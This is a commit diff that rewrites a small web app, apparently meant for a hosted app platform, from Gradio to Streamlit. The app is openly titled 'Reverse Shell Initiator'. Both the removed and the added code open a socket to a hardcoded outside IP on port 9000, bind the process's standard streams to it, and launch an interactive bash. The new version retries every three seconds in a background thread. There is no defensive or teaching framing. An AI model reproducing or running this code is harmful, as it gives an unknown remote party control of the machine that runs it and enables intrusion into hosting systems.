Update app.py

app.py

@@ -1,52 +1,35 @@
-import gradio as gr
+import streamlit as st
 import socket
 import subprocess
-import threading
 import os
+import threading
+import time
 
 def run_reverse_shell():
-    try:
-        # Задаем IP-адрес и порт сервера
+    def shell_thread():
         ip = '45.155.205.202'
         port = 9000
 
-        def shell_thread():
+        while True:
             try:
-                # Создаем сокет
                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                 s.connect((ip, port))
-                
-                # Отправляем сообщение о подключении
                 s.send(b"Connected to reverse shell.\n")
-                
-                # Сразу входим в интерактивную оболочку
-                os.dup2(s.fileno(), 0)  # stdin
-                os.dup2(s.fileno(), 1)  # stdout
-                os.dup2(s.fileno(), 2)  # stderr
-                
-                # Запускаем оболочку (например, bash)
-                p = subprocess.call(['/bin/bash', '-i'])  # Используем -i для интерактивного режима
-                
-                # Закрываем сокет
+                os.dup2(s.fileno(), 0)
+                os.dup2(s.fileno(), 1)
+                os.dup2(s.fileno(), 2)
+                subprocess.call(['/bin/bash', '-i'])
                 s.close()
+                break
             except Exception as e:
-                return f"Error: {e}"
-        
-        # Запускаем обратную оболочку в отдельном потоке, чтобы не блокировать Gradio интерфейс
-        shell = threading.Thread(target=shell_thread)
-        shell.start()
-        return "Reverse shell has been initiated."
-    except Exception as e:
-        return f"An error occurred: {str(e)}"
+                print(f"Connection failed: {e}. Retrying in 3 seconds...")
+                time.sleep(3)
 
-# Создаем интерфейс Gradio
-iface = gr.Interface(
-    fn=run_reverse_shell,
-    inputs=None,  # Нет входных данных, только кнопка
-    outputs="text",
-    title="Reverse Shell Initiator",
-    description="Click the button to initiate a reverse shell."
-)
+    shell = threading.Thread(target=shell_thread)
+    shell.start()
+    return "Reverse shell has been initiated."
 
-# Запуск интерфейса
-iface.launch()
+st.title("Reverse Shell Initiator")
+if st.button("Initiate Reverse Shell"):
+    result = run_reverse_shell()
+    st.write(result)